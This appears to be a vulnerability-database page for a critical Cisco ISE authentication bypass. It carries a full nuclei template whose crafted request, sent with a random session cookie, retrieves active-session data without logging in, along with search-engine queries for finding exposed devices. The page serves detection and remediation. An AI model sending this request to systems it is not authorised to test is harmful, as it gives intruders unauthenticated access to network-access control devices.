Cisco Identity Services Engine - ise-kong API Gateway Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-09-16; known to be used by ransomware.

criticalseverity

10CVSS score

75.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cisco Identity Services Engine contains an authentication bypass caused by insufficient authentication control on an API endpoint, letting unauthenticated remote attackers gain unauthorized access, exploit requires crafted request to API endpoint.

Impact

Unauthenticated remote attackers can bypass authentication and gain unauthorized access to the device management interface.

Fix

Update to the latest available version with the fix.

How to confirm it

Send: GET /admin/API/mnt/Session/ActiveList
Positive when: status_code == 401 and contains_any(body, "iseApiResponse", "Unauthorized")
Send: GET /admin/API/mnt/Session/ActiveList
Positive when: status_code == 200 and contains(content_type, "xml") and contains(body, "activeSessionListResult") and !contains_any(body, "Unauthorized", "iseApiResponse", "login.jsp")

Run it with nuclei: nuclei -id CVE-2026-76460 -u <target>

The full check

id: CVE-2026-76460

info:
  name: Cisco Identity Services Engine - ise-kong API Gateway Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
    Cisco Identity Services Engine contains an authentication bypass caused by insufficient authentication control on an API endpoint, letting unauthenticated remote attackers gain unauthorized access, exploit requires crafted request to API endpoint.
  impact: |
    Unauthenticated remote attackers can bypass authentication and gain unauthorized access to the device management interface.
  remediation: |
    Update to the latest available version with the fix.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-ABP-VNSW7Tn5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-76460
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76460
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-76460
    epss-score: 0.75599
    epss-percentile: 0.99523
    cwe-id: CWE-648
  metadata:
    verified: true
    max-request: 2
    vendor: cisco
    product: identity_services_engine
    shodan-query: http.favicon.hash:-945076912
    fofa-query: title="identity services engine"
  tags: cve,cve2026,cisco,cisco-ise,auth-bypass,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /admin/API/mnt/Session/ActiveList HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    max-redirects: 0

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains_any(body, "iseApiResponse", "Unauthorized")'
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/API/mnt/Session/ActiveList HTTP/1.1
        Host: {{Hostname}}
        Cookie: APPSESSIONID={{randstr}}

    redirects: false
    max-redirects: 0

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "xml")'
          - 'contains(body, "activeSessionListResult")'
          - '!contains_any(body, "Unauthorized", "iseApiResponse", "login.jsp")'
        condition: and

    extractors:
      - type: kval
        kval:
          - x_ise_version

References

Use this check only on systems you are authorised to test. Where the data comes from